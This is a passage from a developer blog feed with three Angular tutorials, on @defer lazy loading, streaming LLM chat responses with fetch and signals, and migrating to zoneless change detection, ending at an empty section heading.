DEV Community: Eduard Krivanek

Angular - @defer: Lazy Loading That Does Not Need a Route

Eduard Krivanek — Sat, 03 Oct 2026 17:09:54 +0000

Your dashboard route is already lazy loaded. A visitor who never opens the dashboard never downloads it. Then you open it on a throttled connection and the route still costs 480 kB before it can render a single panel, because a charting library sits in the middle of the route template and nothing around it can paint until the library arrives.

That is the moment an @defer block becomes interesting. A route boundary is one line across the application, drawn at the level of the URL, and the heavy things in a real application rarely sit on that line. The chart editor, the code editor, the map, the rich text editor: each one is a large dependency that a small share of visits actually uses, and each one currently blocks everything around it.

@defer moves the boundary. Instead of asking the router to decide what a URL needs, you tell the template which region of the page is optional and when it should appear. The browser skips that code until your trigger fires, and the rest of the page renders without waiting.

By the end you will be able to defer a genuinely heavy component with no route change, choose the trigger deliberately, measure the real delta in the initial bundle and the network waterfall, and recognise the ways this fails quietly.

What a defer block compiles to

A defer block is not a rendering feature. It is a code splitting instruction with a scheduler attached.

When the compiler meets @defer, it inspects the components, directives, and pipes used inside the block and emits a dynamic import() for each one that qualifies. Those imports, plus everything reachable only through them, become a chunk of their own. Everything outside the block stays in the chunk it was already in.

Two conditions decide whether a dependency qualifies, and both are easy to miss. It must be standalone, and it must not be referenced anywhere else in the same file. If the component also appears outside the block, or a @ViewChild query names it, Angular keeps it in the eager bundle and the block has nothing left to split. Dependencies declared in an NgModule are not deferred either, although their own transitive dependencies can be.

At runtime the deferrable dependency becomes a dynamic import(), and Angular attaches a scheduler to decide when to fire it. You never write that wiring by hand. You declare the trigger, the compiler emits the wiring, and the only thing you observe is the extra chunk in the network panel.

The scheduling is pluggable. The default idle scheduler sits on requestIdleCallback, and in Angular 22 you can swap in your own scheduler with provideIdleServiceWith if your application already has one.

The block renders once every import resolves, and Angular does not promise an order between them. Three deferred components means three requests, and the block waits for the slowest.

How this differs from route-level lazy loading

Both mechanisms end up as a dynamic import() in the output, so the difference is not in the bundler. It is in who decides, and when.

Route lazy loading is a router concern. The unit is loadChildren or loadComponent, the trigger is a navigation event, and there is one boundary per URL.
A defer block is a template concern. The unit is a region of a template, the trigger is whatever you configure, and one page can carry as many blocks as it needs.
Route lazy loading cannot help a component that shares a route with three lightweight panels. That is the common case, and it is the case @defer exists for.

They also compose. Keep the route lazy loaded and defer inside it. The route chunk is still the price of admission. The defer block is how you avoid paying for the parts of the page nobody asked for.

The trigger is a decision, not a default

A bare @defer with no trigger is on idle. That is a sensible default, and it is also a decision you did not make.

The full set:

on idle, and on idle(500) with a timeout: schedules through requestIdleCallback. The timeout is a backstop so the callback cannot be starved by a busy page. Angular 22 lets you replace the scheduler with provideIdleServiceWith if the application already has one.
on viewport: watches an element with IntersectionObserver and fires when it enters the viewport.
on interaction: fires on click or keydown on the watched element.
on hover: fires on mouseover or focusin on the watched element.
on timer(2s): fires after a duration, written in ms or s.
on immediate: fires as soon as the non-deferred content has rendered. It is a code split without a delay, rather than a real deferral.
when condition: fires the first time the expression is truthy, and never returns to the placeholder if it becomes falsy again.

Triggers are separated with a semicolon and evaluated as OR. Two triggers mean whichever fires first wins, not both.

Three details decide whether a trigger works at all. First, on viewport, on interaction, and on hover watch the placeholder by default, and a placeholder used that way must have a single root element. A placeholder with two sibling elements produces a trigger that never fires, and Angular has no way to know you meant the outer one. Second, you can point those triggers at a template reference variable instead, which is usually clearer:

<div #chartSlot class="chart-slot">Revenue</div>

@defer (on interaction(chartSlot)) {
  <heavy-chart [data]="data()" />
} @placeholder {
  <div class="chart-slot">Open the chart</div>
}

Third, the object form of the viewport trigger accepts real IntersectionObserver options, which is how you stop a component from loading the instant one pixel crosses the fold:

<div #chartSlot class="chart-slot"></div>

@defer (
  on viewport({ trigger: chartSlot, rootMargin: '200px', threshold: 0.25 })
) {
  <heavy-chart [data]="data()" />
}

Picking one on purpose

Work through these in order and stop at the first one that matches.

Is the block inside the first viewport on a typical screen? Do not defer it, or reach for incremental hydration instead. A placeholder swap above the fold buys a bundle win with layout shift, and that is the one trade where the page feels worse.
Must the user do something before the block can be useful? Use on interaction, or when on the signal that flips when they do.
Is the block below the fold? Use on viewport, possibly with a rootMargin that starts the fetch slightly before the element is visible.
Is the block expensive, secondary, and the page genuinely busy for a moment after load? on idle is honest work, and it is the only trigger that yields to the browser's own scheduling.
Do you want the code out of the initial bundle while still rendering in the first frames, for example during a migration? on immediate does exactly that and nothing more.

A timer is the one to reach for last. on timer(3s) encodes a guess about user behaviour, and that guess is usually wrong.

Prefetch is a second decision

Everything above decides when the block renders. A prefetch trigger decides when its bytes arrive. Conflating the two loses most of the value.

@defer (on interaction; prefetch on idle) says: start downloading when the browser is quiet, but do not render until the user clicks. On a warm cache the click is instant, because the chunk is already in memory. On a cold cache the click pays for a network round trip before anything appears, which is precisely the latency you were trying to hide.

The prefetch side takes the same triggers, prefixed: prefetch on idle, prefetch on viewport, prefetch on hover, prefetch on timer(1s), prefetch when ready(), prefetch on immediate. The viewport object form works there too. The pairings that earn their keep:

Prefetch on idle, render on interaction. The user has to ask for the block, and the browser has spare time before they do. This is the combination I use most, because on a quiet page it costs almost nothing.
Prefetch on hover, render on interaction. Pointer movement usually precedes the click by a few hundred milliseconds, which on a decent connection is most of a round trip.
Prefetch nothing. The right answer for a block that most visitors never open. A chunk nobody needed is a saving, and a chunk prefetched for nobody is a cost with no return.

The price is bandwidth at the worst moment. A prefetch fires while the page is still painting and competes with the LCP image, the fonts, and the main bundle for connection slots. On a desktop connection that is invisible. On a throttled phone it can push out the thing the user sees first. Prefetch is a bet that the user will need the block, and prefetch on idle is the least aggressive version of that bet, because the browser starts only when it has nothing better to do.

One consequence to know before you debug it: when the prefetch wins the race, the @loading block may never appear, because the chunk has already resolved by the time the render trigger fires. That is the system working as designed, and it is the reason the loading block should be a rare state rather than the expected one.

Placeholder, loading, and error

Three optional blocks cover the gap between the trigger firing and the content existing. @placeholder renders before the trigger fires. @loading renders while the chunk downloads. @error renders when the import rejects, which in practice means a dropped connection or a chunk hash that no longer exists after a deploy.

None of the three is free. Their own dependencies are eagerly loaded, so a placeholder built from three heavy components to save one is self defeating. Keep them to markup and CSS.

Both @placeholder and @loading accept a minimum, and @loading also accepts an after:

@defer (on viewport) {
  <heavy-chart [data]="data()" />
} @placeholder (minimum 500ms) {
  <div class="chart-slot"><p>Revenue chart</p></div>
} @loading (after 150ms; minimum 400ms) {
  <div class="chart-slot"><div class="skeleton-bar"></div></div>
} @error {
  <div class="chart-slot">
    <p>The revenue chart did not load.</p>
    <button type="button" (click)="reload()">Reload the page</button>
  </div>
}

after 150ms keeps the loading block hidden for the first 150 ms of the download. minimum 400ms keeps it on screen for at least 400 ms once it appears, even if the chunk lands immediately afterwards. Both timers start when loading is triggered, so after measures the fetch rather than the page.

That pair of numbers exists because of how people read a flicker. A skeleton that appears for 40 ms does not read as progress. It reads as a glitch: something flashed, and the user trusts the page a little less afterwards. The same skeleton on screen for 600 ms reads as a page that is working. The total time is identical, and the second version feels faster. So when fast loads are common, delay the loading state rather than showing it early and often.

minimum on the placeholder solves the same problem from the other direction. Without it, a warm cache swap can flash the placeholder for a single frame. The placeholder takes minimum only, since after belongs to the loading block.

One layout detail matters as much as the timing: reserve the space. Give the placeholder, the loading block, and the loaded component the same wrapper, min-height, or aspect ratio, so the page does not reflow when the real content arrives. Otherwise you traded bundle weight for cumulative layout shift, which is a poor deal in front of a Core Web Vitals budget.

Measuring the win

You do not need a lab. You need two numbers and one waterfall.

Build before the change, build after, and compare the Initial total row in the build table. The deferred dependencies should appear as a new lazy chunk, and the initial total should drop by roughly the size of that chunk.

# capture the baseline first
ng build --configuration production

# after adding the @defer block
ng build --configuration production --stats-json

The --stats-json flag writes an esbuild metafile to stats.json next to prerendered-routes.json in the build output directory, and you can load that file into the analyzer at esbuild.github.io/analyze to see which source files moved. That answers what the build table cannot: not just how much left, but what left. If the chart library, its date library, and its locale files all show up under the new lazy chunk, the split worked. If they are still in the entry chunk, the compiler decided one of them did not qualify, and no amount of trigger tuning will change that.

A useful shape of result: Initial total falls from 512 kB to 148 kB, and a 364 kB lazy chunk appears with the charting library inside it. Your numbers will differ. The shape should not.

Then watch the network. Open the Network panel, filter to JS, disable the cache, throttle to something honest, reload, and answer three questions:

Is the deferred chunk requested before the trigger fires? If it is, the block is not deferring anything.
After the trigger fires, how long is the gap before the block appears? That gap is what the user feels, and it is where a prefetch pays for itself.
What priority did that request get? A lazy chunk is normally low priority, which is what you want, but a prefetch that fires while the LCP image is still downloading can still take a connection slot.

For a repeatable check you can record the same thing from inside the page:

function watchChunk(chunkName: string) {
  const observer = new PerformanceObserver(list => {
    for (const entry of list.getEntries()) {
      if (!entry.name.includes(chunkName)) continue;
      const started = Math.round(entry.startTime);
      const finished = Math.round(entry.responseEnd);
      console.log(`${chunkName} started at ${started}ms, finished at ${finished}ms`);
    }
  });
  observer.observe({ type: 'resource', buffered: true });
}

// Chunk file names come from the build table, or from the Resource Timing
// entries of a run where you already know the block loaded.
watchChunk('heavy-chart');

Careful with the entry name, because the hashed file name is what the browser sees, not the source path. Read performance.getEntriesByType('resource') unfiltered and look for the JavaScript files that the initial HTML never mentions. Compare startTime against the moment you triggered the block, and you have measured the deferral instead of assuming it.

One number is easy to forget, and it decides whether the change was worth it: the cost on the other side. If the block renders on interaction, the click that opens it now waits for a network round trip that did not exist before. Initial load went down and first interaction went up. For a chart that appears on demand that is a reasonable trade. For the primary action of the page it is a bad one, and no bundle number will tell you which case you are in. Measure both.

Where it bites

Server rendering and hydration

On a server render, defer blocks always render their placeholder, and triggers are not invoked on the server. The client hydrates the placeholder and only then arms the triggers. So an above-the-fold block costs you a placeholder first paint and a layout shift, and if that block contained the largest contentful paint element, you moved work off the bundle critical path and onto the render critical path.

The fix is incremental hydration, which Angular enables by default with provideClientHydration(). Adding a hydrate trigger tells Angular to load the block dependencies during server rendering and render the real template, while the client still keeps the block dehydrated until the hydrate trigger fires:

@defer (on viewport; hydrate on interaction) {
  <heavy-chart [data]="data()" />
} @placeholder {
  <div class="chart-slot"></div>
}

Read that as two different rules for two different loads. hydrate on interaction applies to the initial server rendered load, and the events a user fires before hydration, as long as they match listeners in the component, are queued and replayed, so an early click is not lost. on viewport still applies on every later client side navigation. hydrate never is the option for content that needs no client behaviour at all on that first load, and on a later client side render the regular trigger takes over anyway.

Components that must be interactive immediately

Do not defer a control that has to accept input the moment it is visible, and do not defer a wrapper that contains one, because a defer boundary takes the whole subtree with it. A search box, a date field, the primary call to action, anything a keyboard user tabs to early: all of it belongs outside the block.

The failure is quiet. The markup is not there yet, so the first keystroke goes nowhere and the user concludes the page is broken. On a client rendered page there is a second effect to design around: the click that fires an on interaction trigger is consumed by the trigger and is not forwarded to the content that appears afterwards. If the placeholder looks like a button, users will click twice, once to load and once to use. Make the placeholder look like a load action, or prefetch so the second click is instant.

Dependencies that arrive anyway

This is where a working setup stops working without saying anything. A dependency is only split if it is not referenced elsewhere in the same file, and the barrel file is the usual culprit:

// index.ts
export { HeavyChartComponent } from './heavy-chart.component';
export { SummaryCardComponent } from './summary-card.component';

// dashboard.component.ts
import { HeavyChartComponent, SummaryCardComponent } from './index';

The bundler sees the barrel as one module and keeps its exports together, so importing the summary card drags the chart into the initial bundle along with it. Nothing fails. The build succeeds, the bundle grows, and the only signal is a number in a table that nobody reads until the numbers are bad. Import the deferred component from its own file and the split appears:

import { HeavyChartComponent } from './heavy-chart.component';
import { SummaryCardComponent } from './summary-card.component';

There is a second false negative that can waste an afternoon. With HMR active, Angular fetches every defer chunk eagerly and overrides the triggers, so a dev server makes @defer look broken. Verify chunk timing against a production build, or serve with --no-hmr, before you look for a bug in your template.

The same analysis covers the case where the chunk appears and the initial bundle does not shrink: the defer block gets its chunk, and a second eager import keeps a copy in the entry bundle. Search for every import of the component before you tune the trigger.

Putting it together

A dashboard with an eager summary and a deferred chart, wired the way this post describes:

<section class="dashboard">
  <app-summary [totals]="totals()" />

  @defer (on viewport; prefetch on idle) {
    <app-revenue-chart [series]="series()" (exported)="onExport($event)" />
  } @placeholder (minimum 400ms) {
    <div class="chart-slot" aria-hidden="true"></div>
  } @loading (after 150ms; minimum 400ms) {
    <div class="chart-slot"><div class="skeleton-bar"></div></div>
  } @error {
    <div class="chart-slot">
      <p>The revenue chart did not load.</p>
      <button type="button" (click)="reload()">Reload the page</button>
    </div>
  }
</section>

The component behind it stays ordinary, with one detail in the error path:

import { Component, inject, signal } from '@angular/core';
import { SummaryComponent } from './summary.component';
import { RevenueChartComponent } from './revenue-chart.component';
import { AnalyticsService } from './analytics.service';

@Component({
  selector: 'app-dashboard',
  imports: [SummaryComponent, RevenueChartComponent],
  templateUrl: './dashboard.component.html',
})
export class DashboardComponent {
  private readonly analytics = inject(AnalyticsService);
  readonly totals = signal<Totals | null>(null);
  readonly series = signal<Series | null>(null);

  constructor() {
    this.analytics.load().then(({ totals, series }) => {
      this.totals.set(totals);
      this.series.set(series);
    });
  }

  onExport(payload: ExportPayload) {
    this.analytics.recordExport(payload);
  }

  reload() {
    location.reload();
  }
}

The error path is deliberately a full reload. The browser remembers a failed module for that URL inside the document, so calling import() again does not retry the network. A page load is what fetches a valid chunk list and a working chunk hash, which is exactly what a deploy leaves behind in a cached tab.

Before you ship, wrap the block in a live region so a screen reader announces the swap when the chart finally arrives.

What to take away

@defer moves a code splitting boundary from the URL into the template, which is where the heavy component that shares a route with everything else actually lives. Write the trigger on purpose, treat prefetch as a separate decision, size the placeholder so the swap does not move the page, and prove the result with the initial total and the network waterfall rather than with the presence of the syntax in your template.

Then check the two ways it lies: a barrel file that keeps the dependency eager, and a dev server fetching every chunk up front. Both look like success from the template.

Streaming AI Responses Into Your Angular App

Eduard Krivanek — Sun, 06 Sep 2026 07:14:36 +0000

You know the difference between a chat box that feels alive and one that feels broken. In the broken one you type, you send, and you stare at a spinner for five seconds before the whole answer appears at once. In the alive one the first word shows up almost instantly, then the rest fills in behind it word by word. Both take the same total time. The model is generating tokens one by one either way. The only difference is whether you show them as they come or hold them back.

That is the whole reason to stream. It is not faster overall. It is faster to the first useful thing on screen, and that first impression is what decides whether a user waits or walks away. A model might need eight seconds to write a full paragraph, but its first token often lands in under half a second. Streaming turns that eight second wait into a half second wait followed by a show.

In this post we build the streaming part by hand, in Angular. No SDK that hides it. We read the raw stream, render each token as it arrives, handle the thinking tokens that modern models send before the answer, cancel cleanly when the user leaves, and type the response so the whole thing is safe to work with. By the end you have a small chat component you can drop into any app that talks to an OpenAI-compatible endpoint.

Two ways to read a stream

Before the code, you have to pick how the bytes reach you. There are two realistic options in the browser, and only one of them survives contact with a real model API.

The first is EventSource, the built in object for Server-Sent Events. It is genuinely pleasant to use. You point it at a URL, it keeps the connection open, and it fires your listener every time a new message arrives. It even reconnects for you when the connection drops. For a simple public feed it is hard to beat.

The problem is everything it cannot do. EventSource only sends GET requests. You cannot set an Authorization header, and you cannot send a JSON body. Most LLM endpoints need both. They expect a POST with your prompt in the body and your key in the header. So EventSource rules itself out for almost every real model API the moment you try to use it in production.

To be fair, there are still places where EventSource is the right call. If you control the server and can bake the prompt into the URL, or if the endpoint is a public feed with no auth, it saves you a few lines. But as soon as a secret or a request body is involved, you are out of luck.

The second option is a plain fetch with stream: true in the request body. You get a ReadableStream back from response.body, you pull chunks off it yourself, and you decode them. It is a little more code, but it works with POST, with headers, and with any body shape you want. That is the one we build.

The tradeoff in one line: EventSource is less code, fetch is more control. For LLMs you need the control, so fetch wins.

Reading the stream

Here is the full reader. It sends the request and turns the response into a stream of text deltas.

async function* streamChatCompletion(prompt: string, signal?: AbortSignal) {
  const response = await fetch('https://api.example.com/v1/chat/completions', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      Authorization: 'Bearer YOUR_KEY',
    },
    body: JSON.stringify({
      model: 'deepseek-chat',
      messages: [{ role: 'user', content: prompt }],
      stream: true,
    }),
    signal,
  });

  if (!response.ok || !response.body) {
    throw new Error(`Request failed: ${response.status}`);
  }

  const reader = response.body.getReader();
  const decoder = new TextDecoder();
  let buffer = '';

  while (true) {
    const { done, value } = await reader.read();
    if (done) break;

    buffer += decoder.decode(value, { stream: true });

    const lines = buffer.split('\n');
    buffer = lines.pop() ?? '';

    for (const line of lines) {
      const trimmed = line.trim();
      if (!trimmed.startsWith('data:')) continue;

      const data = trimmed.slice(5).trim();
      if (data === '[DONE]') return;

      const chunk = JSON.parse(data);
      const delta = chunk.choices?.[0]?.delta?.content ?? '';
      if (delta) yield delta;
    }
  }
}

Before we unpack it, here is what the server is actually sending over the wire. The stream is Server-Sent Events sent over a POST. Each message is a line that starts with data:, followed by a JSON object, and the whole thing ends with a line that says [DONE].

data: {"choices":[{"delta":{"role":"assistant","content":""},"finish_reason":null}]}

data: {"choices":[{"delta":{"content":"A"},"finish_reason":null}]}

data: {"choices":[{"delta":{"content":" signal"},"finish_reason":null}]}

data: {"choices":[{"delta":{"content":" is"},"finish_reason":null}]}

data: [DONE]

A few things are happening here, and two of them bite people all the time.

First, the shape. Each parsed object has a choices array, and the text lives at choices[0].delta.content. That is the only field we read. There is also finish_reason, which is null while the stream is running and gets set to something like stop on the last chunk. We do not need it here, but it is useful if you want to know why the model stopped.

The buffer matters because chunks do not line up with lines. A single read() can return half a line, or three full lines, or the tail of one line and the head of the next. We append every chunk to buffer, split on newlines, and keep the last partial piece for the next round. That way we only ever try to parse complete lines.

The { stream: true } flag on decode is not decoration either. Without it, a multibyte character that gets split across two chunks would turn into garbage characters. With it, the decoder remembers the unfinished byte and finishes it on the next chunk.

Where the API key lives

You probably looked at the Authorization: 'Bearer YOUR_KEY' line and thought, wait, I should not put that in the browser. You are right, and it is worth saying out loud before you build the rest.

Anything you ship in the frontend is readable by anyone who opens devtools. Your key would be one keystroke away from anyone who visits the page. On top of that, most model APIs will reject a browser request anyway because of CORS, which is often the first confusing error people hit when they try this and see a red line in the console.

The fix is a thin proxy. You run a small endpoint on your own server that holds the key, forwards the prompt to the model, and streams the response straight back. The browser talks to your server, never to the model provider directly.

The proxy can be tiny. It takes the prompt, calls the same stream: true endpoint server side, and pipes the bytes through unchanged. Your Angular code barely changes. The only difference is that the fetch URL now points at your own server instead of the provider, and the Authorization header can go away entirely because your server adds it.

This is also where you add rate limits, logging, or usage tracking later, in one place, without touching the client. In a real app this is the shape you want: the browser streams from your backend, your backend streams from the model, and no secret ever touches the client.

Handling the thinking before the answer

There is one more thing hiding in that delta shape, and it is the reason your first naive stream can look broken.

Modern reasoning models do not jump straight to the answer. They think first, and they stream that thinking as it happens. DeepSeek sends it as delta.reasoning_content, and OpenAI's reasoning models send it as delta.reasoning. It arrives before the real content, often as a long, rambling inner monologue.

Our reader ignores it on purpose, because it only reads delta.content and skips empty strings. That is the right default for most chat UIs. You usually do not want to dump the model's scratch pad onto the user.

If you do want to show the thinking, say in a collapsed section like the big chat apps, you branch on the two fields instead:

const choice = chunk.choices?.[0];
const delta = choice?.delta ?? {};

if (delta.reasoning_content ?? delta.reasoning) {
  yield { kind: 'reasoning', text: delta.reasoning_content ?? delta.reasoning };
}
if (delta.content) {
  yield { kind: 'delta', text: delta.content };
}

The key point is not the exact field name. It is that the stream has more than one kind of text, and you get to decide which parts reach the user. Check the provider's docs for which field their model uses, then filter or surface it accordingly.

Rendering tokens in Angular

Now we have a stream of deltas. The goal is to put them on screen as fast as they arrive.

The cleanest way in modern Angular is a signal. We keep the whole answer in one signal, append each delta, and let the template read it.

import { Component, signal } from '@angular/core';

@Component({
  standalone: true,
  selector: 'app-chat',
  template: `
    @for (m of messages(); track $index) {
      <p>{{ m }}</p>
    }
    <button (click)="send()">Ask something</button>
  `,
})
export class ChatComponent {
  readonly messages = signal<string[]>([]);

  async send() {
    const prompt = 'Summarize what makes a good Angular component.';
    this.messages.update(list => [...list, '']);

    let text = '';
    for await (const delta of streamChatCompletion(prompt)) {
      text += delta;
      const index = this.messages().length - 1;
      this.messages.update(list => {
        const copy = [...list];
        copy[index] = text;
        return copy;
      });
    }
  }
}

We add an empty message first, then keep rewriting the last slot as text arrives. A signal write is cheap, and Angular re-renders the paragraph. The user sees words appear one by one.

If you come from the RxJS side of Angular, the same thing is an observable with scan. Each delta is a value, and scan folds them into an ever growing string.

import { from, scan } from 'rxjs';

const text$ = from(streamChatCompletion(prompt)).pipe(
  scan((all, delta) => all + delta, ''),
);

Both work, so pick by feel. I reach for the signal version here because the state is one string and the signal API is shorter. I reach for the observable version when the stream has to compose with other streams. An async generator is great for a single for await loop, but the moment you want to merge the assistant's answer into the same feed as the user's own messages, or throttle the updates, an observable is a more natural fit. The nice part is that RxJS can consume an async generator directly with from, so you are never locked in.

Typing the partial response

A plain string is fine for a chat bubble. The moment you want to do anything with the answer, you want types.

The key rule is simple: type what you can trust, and validate the rest at the end. Mid-stream you cannot parse half a JSON object. The text is incomplete by definition. So we type the stream events, and we validate the finished message when it is done.

First the events. A stream can tell you three things: a new piece of text, a finished message, or an error.

type StreamEvent =
  | { kind: 'delta'; text: string }
  | { kind: 'done'; message: AssistantMessage }
  | { kind: 'error'; error: unknown };

Then the finished message. Instead of hand writing an interface and hoping the server follows it, we validate with Zod. It runs at the boundary and gives us a value we can actually trust.

import { z } from 'zod';

const AssistantMessageSchema = z.object({
  role: z.literal('assistant'),
  content: z.string(),
  id: z.string().optional(),
});

type AssistantMessage = z.infer<typeof AssistantMessageSchema>;

If you ask the model for structured data, say JSON for a form or a list of tags, the same idea holds, and it is worth spelling out because it is a common trap. People try to parse the JSON as it streams, token by token, and it never works. Half a JSON object is not valid JSON. The right pattern is two steps: stream the raw text into a buffer, then run the schema on the complete buffer at the end. If it fails you get a clear error at the boundary, not a runtime surprise deep inside your component.

The same boundary idea applies to function calling. The model streams tokens that describe a function call, and you only have a real argument object once the stream is done. Accumulate, then validate.

Canceling cleanly

Users do not wait. They hit back, they navigate away, they close the tab. When that happens you want the request to stop, not keep running in the background and trying to update a component that is gone.

fetch gives you AbortController for exactly this. You create a controller, pass its signal into the fetch, and call abort() when you are done. In Angular the natural place to call it is DestroyRef.onDestroy.

import { Component, DestroyRef, inject, signal } from '@angular/core';

@Component({ standalone: true, selector: 'app-chat', template: `...` })
export class ChatComponent {
  private readonly destroyRef = inject(DestroyRef);
  private readonly controller = new AbortController();
  readonly messages = signal<string[]>([]);

  constructor() {
    this.destroyRef.onDestroy(() => this.controller.abort());
  }

  async send() {
    const prompt = 'Summarize signals in one sentence.';
    this.messages.update(list => [...list, '']);
    let text = '';

    try {
      for await (const delta of streamChatCompletion(prompt, this.controller.signal)) {
        text += delta;
        const index = this.messages().length - 1;
        this.messages.update(list => {
          const copy = [...list];
          copy[index] = text;
          return copy;
        });
      }
    } catch (error) {
      if (error instanceof DOMException && error.name === 'AbortError') {
        return;
      }
      throw error;
    }
  }
}

The catch block is the detail most people skip. When you abort, fetch rejects with an AbortError. That is not a bug, it is the intended path. We check the error name and return quietly. Everything else still gets thrown so you can show the user a real error.

Handling errors

Cancellation is one kind of failure. The rest deserve their own treatment, because a streaming API fails differently than a normal one.

The first failure is the request itself. A bad key, a rate limit, or an overloaded provider all come back as a non-200 status before the stream ever starts. Our reader throws on that, which is fine, but the message is not very helpful. A real app reads the response body, which usually contains a JSON error object, and shows something a human can act on.

if (!response.ok) {
  const body = await response.text();
  throw new Error(`Stream failed with ${response.status}: ${body}`);
}

The second failure happens mid-stream. The connection can drop after you already have half an answer. When that happens the reader's read() resolves with done: true and you never see [DONE]. You keep the text you have so far, mark the message as interrupted, and let the user retry. Our simple version just stops, which is acceptable for a first pass, but know that a production chat app treats a mid-stream drop as a recoverable state, not a crash.

The important line to draw is between an intentional abort and a real error. Intentional aborts are yours, and you swallow them. Everything else is a signal to the user, and you surface it.

Putting it together

Let us move the stream logic into a service so the component stays thin. The service wraps the reader and turns raw deltas into the typed StreamEvent values from before.

import { Injectable } from '@angular/core';
import { z } from 'zod';

const AssistantMessageSchema = z.object({
  role: z.literal('assistant'),
  content: z.string(),
});
export type AssistantMessage = z.infer<typeof AssistantMessageSchema>;

export type StreamEvent =
  | { kind: 'delta'; text: string }
  | { kind: 'done'; message: AssistantMessage }
  | { kind: 'error'; error: unknown };

@Injectable({ providedIn: 'root' })
export class ChatService {
  async *stream(prompt: string, signal?: AbortSignal): AsyncGenerator<StreamEvent> {
    let raw = '';
    try {
      for await (const delta of streamChatCompletion(prompt, signal)) {
        raw += delta;
        yield { kind: 'delta', text: delta };
      }
      yield {
        kind: 'done',
        message: AssistantMessageSchema.parse({ role: 'assistant', content: raw }),
      };
    } catch (error) {
      yield { kind: 'error', error };
    }
  }
}

The component now just consumes those events. It appends deltas, and when it sees done it knows the message is validated and complete.

@Component({ standalone: true, selector: 'app-chat', template: `...` })
export class ChatComponent {
  private readonly destroyRef = inject(DestroyRef);
  private readonly controller = new AbortController();
  private readonly chat = inject(ChatService);
  readonly messages = signal<string[]>([]);

  constructor() {
    this.destroyRef.onDestroy(() => this.controller.abort());
  }

  async send() {
    const prompt = 'Explain streams in plain English.';
    this.messages.update(list => [...list, '']);
    let text = '';

    try {
      for await (const event of this.chat.stream(prompt, this.controller.signal)) {
        if (event.kind === 'delta') {
          text += event.text;
          const index = this.messages().length - 1;
          this.messages.update(list => {
            const copy = [...list];
            copy[index] = text;
            return copy;
          });
        }
        if (event.kind === 'done') {
          console.log(event.message.content);
        }
        if (event.kind === 'error') {
          console.error(event.error);
        }
      }
    } catch (error) {
      if (error instanceof DOMException && error.name === 'AbortError') return;
      throw error;
    }
  }
}

This is the whole feature. A reader that pulls bytes and yields text, a service that turns those bytes into typed events, and a component that renders them and cleans up after itself. It works with any OpenAI-compatible endpoint. Swap the URL and model name and you are talking to a different provider.

Things that will still bite you

Streaming is full of small edge cases. The ones that come up most:

Multibyte characters. An emoji can be split across two chunks at the byte level. TextDecoder with stream: true handles it, which is why we never decode a chunk in isolation.

Partial lines. The JSON for one data: line can arrive across several reads. Our buffer and the split on newlines handles that, but only because we always keep the last unclosed piece.

Empty content deltas. While the model is thinking, or on the very first chunk, delta.content is often an empty string. Our if (delta) guard skips those. Without it you would render a stream full of nothing.

Reasoning tokens. Covered above, but worth repeating because they are the most common reason a first stream looks wrong. If your UI suddenly fills with the model's inner monologue, you are reading the reasoning field instead of the content field.

Dropped connections. If the server closes mid-stream, you get a done signal with no [DONE] and no error. A robust app keeps the text it has so far, marks the message as interrupted, and offers a retry. We did not build retries here to keep the core clear, but know it is the natural next step.

Backpressure is mostly a non-issue in the browser for chat sized responses. The reader pulls at its own pace and the network buffers. If you stream something huge, like a long document, you can pause the reader until the UI catches up, but for a chat message you can ignore it.

Summary

Streaming an LLM response is not magic. You POST with stream: true, read the body as a ReadableStream, decode it, and split on newlines to get one data: event at a time. A signal accumulates the text and the template renders it live. Filter out the reasoning tokens if you want the clean answer, type the events as a discriminated union, validate the finished message with Zod, and let an AbortController stop the request when the user leaves.

The reason to do this by hand instead of reaching for an SDK is that the mechanics are small and the control is worth it. Now you know exactly what is happening between the model and your UI.

Going Zoneless in Angular: What Actually Breaks

Eduard Krivanek — Sun, 23 Aug 2026 14:44:27 +0000

You know that feeling when you change a value inside a callback and Angular updates the view all by itself? That magic has a name. Zone.js. For years it quietly patched setTimeout, promises, and event listeners so that any async work ended with a change detection pass across the whole app. It worked. Most of the time.

Then you flip on zoneless and a counter that has counted up for three years simply stops. No error. No warning. The number just never moves. That is the exact moment every team hits during the migration. The magic was never free, and once you remove it, you can see precisely where your app was leaning on it.

This post is a practical walkthrough of what breaks when you go zoneless, why it breaks, and the patterns that fix it. No theory for its own sake. Just the things that bite.

What Zone.js did for you

Before you can see what breaks, you need to know what you are removing. Zone.js monkey patched the async APIs of the browser. setTimeout, setInterval, Promise, fetch, XHR, addEventListener. All of them. Angular then watched for the moment the microtask queue emptied and ran change detection over the entire component tree.

The practical result was that you could do almost anything from almost anywhere and the view would eventually catch up. Subscribe to an HTTP call and assign a plain field. Fire a timer and increment a number. Add a raw DOM listener and flip a boolean. It all worked because the global tick always came after you.

That convenience had a cost. Every tick could touch the whole tree, and the triggers were hard to predict. But cost aside, here is the part that matters: your app holds years of code that only renders because of those accidental ticks.

There is a second cost people forget. When a bug appears, the cause is often invisible. You change a value, the view updates, and you have no idea which of the fifty async things in flight actually triggered it. Zone.js made things work without making them understandable, and that debt shows up the moment you try to migrate.

Why Angular is dropping Zone.js

The Angular team did not wake up one morning and decide to break everyone. This has been building for a while. Signals arrived first, and signals do not need a zone, because a write is explicit. The framework also kept paying the tax Zone.js introduced: a third party library schedules a timer, and your whole app gets checked for no reason. As apps grew, the global tick became a cost that was hard to remove while Zone.js was still in charge.

Zoneless is the logical end of the signals direction. The team shipped it as stable in Angular 20 and is steering the ecosystem toward it, with Zone.js now on the path out. That does not mean you must migrate tomorrow. It does mean new code should stop assuming the old magic exists, so the eventual switch is not a surprise.

What replaces it

Zoneless inverts the model. Angular no longer patches anything. Instead it schedules change detection from a small set of known entry points:

template events like (click)
signal writes
AsyncPipe emissions
Angular subsystems like the router, HttpClient, and forms
explicit markForCheck calls

A change detection scheduler queues these updates and coalesces them. Instead of a tick after any async work, you get an update when Angular knows something changed.

When several things change in the same moment, the scheduler does not run change detection once per change. It batches the work and flushes it in a single pass, usually on a microtask or an animation frame. That is why signals and markForCheck scale better than calling detectChanges yourself: the framework can fold ten updates into one render, while a manual detectChanges forces a render every single time you call it.

That is the whole mental model. Angular updates when Angular knows. If you mutate state outside one of those entry points, Angular does not know, and the view does not change. That single sentence explains about ninety percent of what goes wrong.

NgZone does not disappear. It still exists for libraries that need it, and runOutsideAngular still works. What changes is that NgZone no longer drives change detection, so code that waited for the zone to become stable behaves differently.

How the scheduler batches work

